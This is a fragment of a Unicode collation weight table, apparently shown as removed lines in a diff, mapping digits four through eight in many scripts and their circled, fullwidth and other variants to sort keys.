-1D7D2 ; [.1BBC.0020.0005] # MATHEMATICAL BOLD DIGIT FOUR
-1D7DC ; [.1BBC.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FOUR
-1D7E6 ; [.1BBC.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FOUR
-1D7F0 ; [.1BBC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FOUR
-1D7FA ; [.1BBC.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FOUR
-2463  ; [.1BBC.0020.0006] # CIRCLED DIGIT FOUR
-24F8  ; [.1BBC.0020.0006] # DOUBLE CIRCLED DIGIT FOUR
-2779  ; [.1BBC.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FOUR
-2783  ; [.1BBC.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FOUR
-278D  ; [.1BBC.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR
-2074  ; [.1BBC.0020.0014] # SUPERSCRIPT FOUR
-2084  ; [.1BBC.0020.0015] # SUBSCRIPT FOUR
-324B  ; [.1BBC.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FORTY ON BLACK SQUARE
-32B5  ; [.1BBC.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FORTY
-32B6  ; [.1BBC.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER FORTY ONE
-32B7  ; [.1BBC.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER FORTY TWO
-32B8  ; [.1BBC.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER FORTY THREE
-32B9  ; [.1BBC.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER FORTY FOUR
-32BA  ; [.1BBC.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER FORTY FIVE
-2158  ; [.1BBC.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION FOUR FIFTHS
-32BB  ; [.1BBC.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER FORTY SIX
-32BC  ; [.1BBC.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER FORTY SEVEN
-32BD  ; [.1BBC.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER FORTY EIGHT
-32BE  ; [.1BBC.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER FORTY NINE
-33E3  ; [.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
-32C3  ; [.1BBC.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
-335C  ; [.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
-0035  ; [.1BBD.0020.0002] # DIGIT FIVE
-0665  ; [.1BBD.0020.0002] # ARABIC-INDIC DIGIT FIVE
-06F5  ; [.1BBD.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FIVE
-07C5  ; [.1BBD.0020.0002] # NKO DIGIT FIVE
-096B  ; [.1BBD.0020.0002] # DEVANAGARI DIGIT FIVE
-09EB  ; [.1BBD.0020.0002] # BENGALI DIGIT FIVE
-0A6B  ; [.1BBD.0020.0002] # GURMUKHI DIGIT FIVE
-0AEB  ; [.1BBD.0020.0002] # GUJARATI DIGIT FIVE
-0B6B  ; [.1BBD.0020.0002] # ORIYA DIGIT FIVE
-0BEB  ; [.1BBD.0020.0002] # TAMIL DIGIT FIVE
-0C6B  ; [.1BBD.0020.0002] # TELUGU DIGIT FIVE
-0CEB  ; [.1BBD.0020.0002] # KANNADA DIGIT FIVE
-0D6B  ; [.1BBD.0020.0002] # MALAYALAM DIGIT FIVE
-0DEB  ; [.1BBD.0020.0002] # SINHALA LITH DIGIT FIVE
-0E55  ; [.1BBD.0020.0002] # THAI DIGIT FIVE
-0ED5  ; [.1BBD.0020.0002] # LAO DIGIT FIVE
-0F25  ; [.1BBD.0020.0002] # TIBETAN DIGIT FIVE
-1045  ; [.1BBD.0020.0002] # MYANMAR DIGIT FIVE
-1095  ; [.1BBD.0020.0002] # MYANMAR SHAN DIGIT FIVE
-136D  ; [.1BBD.0020.0002] # ETHIOPIC DIGIT FIVE
-17E5  ; [.1BBD.0020.0002] # KHMER DIGIT FIVE
-17F5  ; [.1BBD.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM
-1815  ; [.1BBD.0020.0002] # MONGOLIAN DIGIT FIVE
-194B  ; [.1BBD.0020.0002] # LIMBU DIGIT FIVE
-19D5  ; [.1BBD.0020.0002] # NEW TAI LUE DIGIT FIVE
-1A85  ; [.1BBD.0020.0002] # TAI THAM HORA DIGIT FIVE
-1A95  ; [.1BBD.0020.0002] # TAI THAM THAM DIGIT FIVE
-1B55  ; [.1BBD.0020.0002] # BALINESE DIGIT FIVE
-1BB5  ; [.1BBD.0020.0002] # SUNDANESE DIGIT FIVE
-1C45  ; [.1BBD.0020.0002] # LEPCHA DIGIT FIVE
-1C55  ; [.1BBD.0020.0002] # OL CHIKI DIGIT FIVE
-3025  ; [.1BBD.0020.0002] # HANGZHOU NUMERAL FIVE
-A625  ; [.1BBD.0020.0002] # VAI DIGIT FIVE
-A8D5  ; [.1BBD.0020.0002] # SAURASHTRA DIGIT FIVE
-A905  ; [.1BBD.0020.0002] # KAYAH LI DIGIT FIVE
-A9D5  ; [.1BBD.0020.0002] # JAVANESE DIGIT FIVE
-A9F5  ; [.1BBD.0020.0002] # MYANMAR TAI LAING DIGIT FIVE
-AA55  ; [.1BBD.0020.0002] # CHAM DIGIT FIVE
-ABF5  ; [.1BBD.0020.0002] # MEETEI MAYEK DIGIT FIVE
-1010B ; [.1BBD.0020.0002] # AEGEAN NUMBER FIVE
-10143 ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE
-10148 ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE TALENTS
-1014F ; [.1BBD.0020.0002] # GREEK ACROPHONIC ATTIC FIVE STATERS
-1015F ; [.1BBD.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE
-10173 ; [.1BBD.0020.0002] # GREEK ACROPHONIC DELPHIC FIVE MNAS
-102E5 ; [.1BBD.0020.0002] # COPTIC EPACT DIGIT FIVE
-10321 ; [.1BBD.0020.0002] # OLD ITALIC NUMERAL FIVE
-104A5 ; [.1BBD.0020.0002] # OSMANYA DIGIT FIVE
-1087D ; [.1BBD.0020.0002] # PALMYRENE NUMBER FIVE
-108AC ; [.1BBD.0020.0002] # NABATAEAN NUMBER FIVE
-108FC ; [.1BBD.0020.0002] # HATRAN NUMBER FIVE
-109C4 ; [.1BBD.0020.0002] # MEROITIC CURSIVE NUMBER FIVE
-10AEC ; [.1BBD.0020.0002] # MANICHAEAN NUMBER FIVE
-10CFB ; [.1BBD.0020.0002] # OLD HUNGARIAN NUMBER FIVE
-10E64 ; [.1BBD.0020.0002] # RUMI DIGIT FIVE
-11056 ; [.1BBD.0020.0002] # BRAHMI NUMBER FIVE
-1106B ; [.1BBD.0020.0002] # BRAHMI DIGIT FIVE
-110F5 ; [.1BBD.0020.0002] # SORA SOMPENG DIGIT FIVE
-1113B ; [.1BBD.0020.0002] # CHAKMA DIGIT FIVE
-111D5 ; [.1BBD.0020.0002] # SHARADA DIGIT FIVE
-111E5 ; [.1BBD.0020.0002] # SINHALA ARCHAIC DIGIT FIVE
-112F5 ; [.1BBD.0020.0002] # KHUDAWADI DIGIT FIVE
-114D5 ; [.1BBD.0020.0002] # TIRHUTA DIGIT FIVE
-11655 ; [.1BBD.0020.0002] # MODI DIGIT FIVE
-116C5 ; [.1BBD.0020.0002] # TAKRI DIGIT FIVE
-11735 ; [.1BBD.0020.0002] # AHOM DIGIT FIVE
-118E5 ; [.1BBD.0020.0002] # WARANG CITI DIGIT FIVE
-12403 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH
-1240A ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE DISH
-12410 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U
-12419 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESH2
-12422 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESHU
-12427 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHAR2
-12431 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHARU
-12439 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BURU
-1244D ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH TENU
-12454 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2
-12455 ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2 VARIANT FORM
-1246A ; [.1BBD.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U VARIANT FORM
-16A65 ; [.1BBD.0020.0002] # MRO DIGIT FIVE
-16B55 ; [.1BBD.0020.0002] # PAHAWH HMONG DIGIT FIVE
-1D364 ; [.1BBD.0020.0002] # COUNTING ROD UNIT DIGIT FIVE
-1E8CB ; [.1BBD.0020.0002] # MENDE KIKAKUI DIGIT FIVE
-FF15  ; [.1BBD.0020.0003] # FULLWIDTH DIGIT FIVE
-0F2E  ; [.1BBD.0020.0004] # TIBETAN DIGIT HALF FIVE
-2478  ; [*0310.0020.0004][.1BBD.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT FIVE
-248C  ; [.1BBD.0020.0004][*0274.0020.0004] # DIGIT FIVE FULL STOP
-1F106 ; [.1BBD.0020.0004][*0221.0020.0004] # DIGIT FIVE COMMA
-1D7D3 ; [.1BBD.0020.0005] # MATHEMATICAL BOLD DIGIT FIVE
-1D7DD ; [.1BBD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FIVE
-1D7E7 ; [.1BBD.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FIVE
-1D7F1 ; [.1BBD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FIVE
-1D7FB ; [.1BBD.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FIVE
-2464  ; [.1BBD.0020.0006] # CIRCLED DIGIT FIVE
-24F9  ; [.1BBD.0020.0006] # DOUBLE CIRCLED DIGIT FIVE
-277A  ; [.1BBD.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FIVE
-2784  ; [.1BBD.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FIVE
-278E  ; [.1BBD.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE
-2075  ; [.1BBD.0020.0014] # SUPERSCRIPT FIVE
-2085  ; [.1BBD.0020.0015] # SUBSCRIPT FIVE
-324C  ; [.1BBD.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FIFTY ON BLACK SQUARE
-32BF  ; [.1BBD.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER FIFTY
-215A  ; [.1BBD.0020.001E][*0606.0020.001E][.1BBE.0020.001E] # VULGAR FRACTION FIVE SIXTHS
-215D  ; [.1BBD.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION FIVE EIGHTHS
-33E4  ; [.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
-32C4  ; [.1BBD.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
-335D  ; [.1BBD.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
-0036  ; [.1BBE.0020.0002] # DIGIT SIX
-0666  ; [.1BBE.0020.0002] # ARABIC-INDIC DIGIT SIX
-06F6  ; [.1BBE.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SIX
-07C6  ; [.1BBE.0020.0002] # NKO DIGIT SIX
-096C  ; [.1BBE.0020.0002] # DEVANAGARI DIGIT SIX
-09EC  ; [.1BBE.0020.0002] # BENGALI DIGIT SIX
-0A6C  ; [.1BBE.0020.0002] # GURMUKHI DIGIT SIX
-0AEC  ; [.1BBE.0020.0002] # GUJARATI DIGIT SIX
-0B6C  ; [.1BBE.0020.0002] # ORIYA DIGIT SIX
-0BEC  ; [.1BBE.0020.0002] # TAMIL DIGIT SIX
-0C6C  ; [.1BBE.0020.0002] # TELUGU DIGIT SIX
-0CEC  ; [.1BBE.0020.0002] # KANNADA DIGIT SIX
-0D6C  ; [.1BBE.0020.0002] # MALAYALAM DIGIT SIX
-0DEC  ; [.1BBE.0020.0002] # SINHALA LITH DIGIT SIX
-0E56  ; [.1BBE.0020.0002] # THAI DIGIT SIX
-0ED6  ; [.1BBE.0020.0002] # LAO DIGIT SIX
-0F26  ; [.1BBE.0020.0002] # TIBETAN DIGIT SIX
-1046  ; [.1BBE.0020.0002] # MYANMAR DIGIT SIX
-1096  ; [.1BBE.0020.0002] # MYANMAR SHAN DIGIT SIX
-136E  ; [.1BBE.0020.0002] # ETHIOPIC DIGIT SIX
-17E6  ; [.1BBE.0020.0002] # KHMER DIGIT SIX
-17F6  ; [.1BBE.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-MUOY
-1816  ; [.1BBE.0020.0002] # MONGOLIAN DIGIT SIX
-194C  ; [.1BBE.0020.0002] # LIMBU DIGIT SIX
-19D6  ; [.1BBE.0020.0002] # NEW TAI LUE DIGIT SIX
-1A86  ; [.1BBE.0020.0002] # TAI THAM HORA DIGIT SIX
-1A96  ; [.1BBE.0020.0002] # TAI THAM THAM DIGIT SIX
-1B56  ; [.1BBE.0020.0002] # BALINESE DIGIT SIX
-1BB6  ; [.1BBE.0020.0002] # SUNDANESE DIGIT SIX
-1C46  ; [.1BBE.0020.0002] # LEPCHA DIGIT SIX
-1C56  ; [.1BBE.0020.0002] # OL CHIKI DIGIT SIX
-2185  ; [.1BBE.0020.0002] # ROMAN NUMERAL SIX LATE FORM
-3026  ; [.1BBE.0020.0002] # HANGZHOU NUMERAL SIX
-A626  ; [.1BBE.0020.0002] # VAI DIGIT SIX
-A8D6  ; [.1BBE.0020.0002] # SAURASHTRA DIGIT SIX
-A906  ; [.1BBE.0020.0002] # KAYAH LI DIGIT SIX
-A9D6  ; [.1BBE.0020.0002] # JAVANESE DIGIT SIX
-A9F6  ; [.1BBE.0020.0002] # MYANMAR TAI LAING DIGIT SIX
-AA56  ; [.1BBE.0020.0002] # CHAM DIGIT SIX
-ABF6  ; [.1BBE.0020.0002] # MEETEI MAYEK DIGIT SIX
-1010C ; [.1BBE.0020.0002] # AEGEAN NUMBER SIX
-102E6 ; [.1BBE.0020.0002] # COPTIC EPACT DIGIT SIX
-104A6 ; [.1BBE.0020.0002] # OSMANYA DIGIT SIX
-109C5 ; [.1BBE.0020.0002] # MEROITIC CURSIVE NUMBER SIX
-10E65 ; [.1BBE.0020.0002] # RUMI DIGIT SIX
-11057 ; [.1BBE.0020.0002] # BRAHMI NUMBER SIX
-1106C ; [.1BBE.0020.0002] # BRAHMI DIGIT SIX
-110F6 ; [.1BBE.0020.0002] # SORA SOMPENG DIGIT SIX
-1113C ; [.1BBE.0020.0002] # CHAKMA DIGIT SIX
-111D6 ; [.1BBE.0020.0002] # SHARADA DIGIT SIX
-111E6 ; [.1BBE.0020.0002] # SINHALA ARCHAIC DIGIT SIX
-112F6 ; [.1BBE.0020.0002] # KHUDAWADI DIGIT SIX
-114D6 ; [.1BBE.0020.0002] # TIRHUTA DIGIT SIX
-11656 ; [.1BBE.0020.0002] # MODI DIGIT SIX
-116C6 ; [.1BBE.0020.0002] # TAKRI DIGIT SIX
-11736 ; [.1BBE.0020.0002] # AHOM DIGIT SIX
-118E6 ; [.1BBE.0020.0002] # WARANG CITI DIGIT SIX
-12404 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH
-1240B ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX DISH
-12411 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U
-1241A ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX GESH2
-12428 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX SHAR2
-12440 ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX VARIANT FORM ASH9
-1244E ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH TENU
-1246B ; [.1BBE.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U VARIANT FORM
-16A66 ; [.1BBE.0020.0002] # MRO DIGIT SIX
-16B56 ; [.1BBE.0020.0002] # PAHAWH HMONG DIGIT SIX
-1D365 ; [.1BBE.0020.0002] # COUNTING ROD UNIT DIGIT SIX
-1E8CC ; [.1BBE.0020.0002] # MENDE KIKAKUI DIGIT SIX
-FF16  ; [.1BBE.0020.0003] # FULLWIDTH DIGIT SIX
-0F2F  ; [.1BBE.0020.0004] # TIBETAN DIGIT HALF SIX
-2479  ; [*0310.0020.0004][.1BBE.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT SIX
-248D  ; [.1BBE.0020.0004][*0274.0020.0004] # DIGIT SIX FULL STOP
-1F107 ; [.1BBE.0020.0004][*0221.0020.0004] # DIGIT SIX COMMA
-1D7D4 ; [.1BBE.0020.0005] # MATHEMATICAL BOLD DIGIT SIX
-1D7DE ; [.1BBE.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SIX
-1D7E8 ; [.1BBE.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SIX
-1D7F2 ; [.1BBE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SIX
-1D7FC ; [.1BBE.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SIX
-2465  ; [.1BBE.0020.0006] # CIRCLED DIGIT SIX
-24FA  ; [.1BBE.0020.0006] # DOUBLE CIRCLED DIGIT SIX
-277B  ; [.1BBE.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SIX
-2785  ; [.1BBE.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SIX
-278F  ; [.1BBE.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX
-2076  ; [.1BBE.0020.0014] # SUPERSCRIPT SIX
-2086  ; [.1BBE.0020.0015] # SUBSCRIPT SIX
-324D  ; [.1BBE.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER SIXTY ON BLACK SQUARE
-33E5  ; [.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
-32C5  ; [.1BBE.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
-335E  ; [.1BBE.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
-0037  ; [.1BBF.0020.0002] # DIGIT SEVEN
-0667  ; [.1BBF.0020.0002] # ARABIC-INDIC DIGIT SEVEN
-06F7  ; [.1BBF.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SEVEN
-07C7  ; [.1BBF.0020.0002] # NKO DIGIT SEVEN
-096D  ; [.1BBF.0020.0002] # DEVANAGARI DIGIT SEVEN
-09ED  ; [.1BBF.0020.0002] # BENGALI DIGIT SEVEN
-0A6D  ; [.1BBF.0020.0002] # GURMUKHI DIGIT SEVEN
-0AED  ; [.1BBF.0020.0002] # GUJARATI DIGIT SEVEN
-0B6D  ; [.1BBF.0020.0002] # ORIYA DIGIT SEVEN
-0BED  ; [.1BBF.0020.0002] # TAMIL DIGIT SEVEN
-0C6D  ; [.1BBF.0020.0002] # TELUGU DIGIT SEVEN
-0CED  ; [.1BBF.0020.0002] # KANNADA DIGIT SEVEN
-0D6D  ; [.1BBF.0020.0002] # MALAYALAM DIGIT SEVEN
-0DED  ; [.1BBF.0020.0002] # SINHALA LITH DIGIT SEVEN
-0E57  ; [.1BBF.0020.0002] # THAI DIGIT SEVEN
-0ED7  ; [.1BBF.0020.0002] # LAO DIGIT SEVEN
-0F27  ; [.1BBF.0020.0002] # TIBETAN DIGIT SEVEN
-1047  ; [.1BBF.0020.0002] # MYANMAR DIGIT SEVEN
-1097  ; [.1BBF.0020.0002] # MYANMAR SHAN DIGIT SEVEN
-136F  ; [.1BBF.0020.0002] # ETHIOPIC DIGIT SEVEN
-17E7  ; [.1BBF.0020.0002] # KHMER DIGIT SEVEN
-17F7  ; [.1BBF.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-PII
-1817  ; [.1BBF.0020.0002] # MONGOLIAN DIGIT SEVEN
-194D  ; [.1BBF.0020.0002] # LIMBU DIGIT SEVEN
-19D7  ; [.1BBF.0020.0002] # NEW TAI LUE DIGIT SEVEN
-1A87  ; [.1BBF.0020.0002] # TAI THAM HORA DIGIT SEVEN
-1A97  ; [.1BBF.0020.0002] # TAI THAM THAM DIGIT SEVEN
-1B57  ; [.1BBF.0020.0002] # BALINESE DIGIT SEVEN
-1BB7  ; [.1BBF.0020.0002] # SUNDANESE DIGIT SEVEN
-1C47  ; [.1BBF.0020.0002] # LEPCHA DIGIT SEVEN
-1C57  ; [.1BBF.0020.0002] # OL CHIKI DIGIT SEVEN
-3027  ; [.1BBF.0020.0002] # HANGZHOU NUMERAL SEVEN
-A627  ; [.1BBF.0020.0002] # VAI DIGIT SEVEN
-A8D7  ; [.1BBF.0020.0002] # SAURASHTRA DIGIT SEVEN
-A907  ; [.1BBF.0020.0002] # KAYAH LI DIGIT SEVEN
-A9D7  ; [.1BBF.0020.0002] # JAVANESE DIGIT SEVEN
-A9F7  ; [.1BBF.0020.0002] # MYANMAR TAI LAING DIGIT SEVEN
-AA57  ; [.1BBF.0020.0002] # CHAM DIGIT SEVEN
-ABF7  ; [.1BBF.0020.0002] # MEETEI MAYEK DIGIT SEVEN
-1010D ; [.1BBF.0020.0002] # AEGEAN NUMBER SEVEN
-102E7 ; [.1BBF.0020.0002] # COPTIC EPACT DIGIT SEVEN
-104A7 ; [.1BBF.0020.0002] # OSMANYA DIGIT SEVEN
-109C6 ; [.1BBF.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN
-10E66 ; [.1BBF.0020.0002] # RUMI DIGIT SEVEN
-11058 ; [.1BBF.0020.0002] # BRAHMI NUMBER SEVEN
-1106D ; [.1BBF.0020.0002] # BRAHMI DIGIT SEVEN
-110F7 ; [.1BBF.0020.0002] # SORA SOMPENG DIGIT SEVEN
-1113D ; [.1BBF.0020.0002] # CHAKMA DIGIT SEVEN
-111D7 ; [.1BBF.0020.0002] # SHARADA DIGIT SEVEN
-111E7 ; [.1BBF.0020.0002] # SINHALA ARCHAIC DIGIT SEVEN
-112F7 ; [.1BBF.0020.0002] # KHUDAWADI DIGIT SEVEN
-114D7 ; [.1BBF.0020.0002] # TIRHUTA DIGIT SEVEN
-11657 ; [.1BBF.0020.0002] # MODI DIGIT SEVEN
-116C7 ; [.1BBF.0020.0002] # TAKRI DIGIT SEVEN
-11737 ; [.1BBF.0020.0002] # AHOM DIGIT SEVEN
-118E7 ; [.1BBF.0020.0002] # WARANG CITI DIGIT SEVEN
-12405 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN ASH
-1240C ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN DISH
-12412 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U
-1241B ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN GESH2
-12429 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN SHAR2
-12441 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN3
-12442 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN A
-12443 ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN B
-1246C ; [.1BBF.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U VARIANT FORM
-16A67 ; [.1BBF.0020.0002] # MRO DIGIT SEVEN
-16B57 ; [.1BBF.0020.0002] # PAHAWH HMONG DIGIT SEVEN
-1D366 ; [.1BBF.0020.0002] # COUNTING ROD UNIT DIGIT SEVEN
-1E8CD ; [.1BBF.0020.0002] # MENDE KIKAKUI DIGIT SEVEN
-FF17  ; [.1BBF.0020.0003] # FULLWIDTH DIGIT SEVEN
-0F30  ; [.1BBF.0020.0004] # TIBETAN DIGIT HALF SEVEN
-247A  ; [*0310.0020.0004][.1BBF.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT SEVEN
-248E  ; [.1BBF.0020.0004][*0274.0020.0004] # DIGIT SEVEN FULL STOP
-1F108 ; [.1BBF.0020.0004][*0221.0020.0004] # DIGIT SEVEN COMMA
-1D7D5 ; [.1BBF.0020.0005] # MATHEMATICAL BOLD DIGIT SEVEN
-1D7DF ; [.1BBF.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SEVEN
-1D7E9 ; [.1BBF.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SEVEN
-1D7F3 ; [.1BBF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SEVEN
-1D7FD ; [.1BBF.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SEVEN
-2466  ; [.1BBF.0020.0006] # CIRCLED DIGIT SEVEN
-24FB  ; [.1BBF.0020.0006] # DOUBLE CIRCLED DIGIT SEVEN
-277C  ; [.1BBF.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SEVEN
-2786  ; [.1BBF.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN
-2790  ; [.1BBF.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN
-2077  ; [.1BBF.0020.0014] # SUPERSCRIPT SEVEN
-2087  ; [.1BBF.0020.0015] # SUBSCRIPT SEVEN
-324E  ; [.1BBF.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER SEVENTY ON BLACK SQUARE
-215E  ; [.1BBF.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION SEVEN EIGHTHS
-33E6  ; [.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
-32C6  ; [.1BBF.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
-335F  ; [.1BBF.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
-0038  ; [.1BC0.0020.0002] # DIGIT EIGHT
-0668  ; [.1BC0.0020.0002] # ARABIC-INDIC DIGIT EIGHT
-06F8  ; [.1BC0.0020.0002] # EXTENDED ARABIC-INDIC DIGIT EIGHT
-07C8  ; [.1BC0.0020.0002] # NKO DIGIT EIGHT
-096E  ; [.1BC0.0020.0002] # DEVANAGARI DIGIT EIGHT
-09EE  ; [.1BC0.0020.0002] # BENGALI DIGIT EIGHT
-0A6E  ; [.1BC0.0020.0002] # GURMUKHI DIGIT EIGHT
-0AEE  ; [.1BC0.0020.0002] # GUJARATI DIGIT EIGHT
-0B6E  ; [.1BC0.0020.0002] # ORIYA DIGIT EIGHT
-0BEE  ; [.1BC0.0020.0002] # TAMIL DIGIT EIGHT
-0C6E  ; [.1BC0.0020.0002] # TELUGU DIGIT EIGHT
-0CEE  ; [.1BC0.0020.0002] # KANNADA DIGIT EIGHT
-0D6E  ; [.1BC0.0020.0002] # MALAYALAM DIGIT EIGHT
-0DEE  ; [.1BC0.0020.0002] # SINHALA LITH DIGIT EIGHT
-0E58  ; [.1BC0.0020.0002] # THAI DIGIT EIGHT
-0ED8  ; [.1BC0.0020.0002] # LAO DIGIT EIGHT
-0F28  ; [.1BC0.0020.0002] # TIBETAN DIGIT EIGHT
-1048  ; [.1BC0.0020.0002] # MYANMAR DIGIT EIGHT
-1098  ; [.1BC0.0020.0002] # MYANMAR SHAN DIGIT EIGHT
-1370  ; [.1BC0.0020.0002] # ETHIOPIC DIGIT EIGHT
-17E8  ; [.1BC0.0020.0002] # KHMER DIGIT EIGHT
-17F8  ; [.1BC0.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BEI
-1818  ; [.1BC0.0020.0002] # MONGOLIAN DIGIT EIGHT
-194E  ; [.1BC0.0020.0002] # LIMBU DIGIT EIGHT
-19D8  ; [.1BC0.0020.0002] # NEW TAI LUE DIGIT EIGHT
-1A88  ; [.1BC0.0020.0002] # TAI THAM HORA DIGIT EIGHT
-1A98  ; [.1BC0.0020.0002] # TAI THAM THAM DIGIT EIGHT
-1B58  ; [.1BC0.0020.0002] # BALINESE DIGIT EIGHT
-1BB8  ; [.1BC0.0020.0002] # SUNDANESE DIGIT EIGHT
-1C48  ; [.1BC0.0020.0002] # LEPCHA DIGIT EIGHT
-1C58  ; [.1BC0.0020.0002] # OL CHIKI DIGIT EIGHT
-3028  ; [.1BC0.0020.0002] # HANGZHOU NUMERAL EIGHT
-A628  ; [.1BC0.0020.0002] # VAI DIGIT EIGHT
-A8D8  ; [.1BC0.0020.0002] # SAURASHTRA DIGIT EIGHT
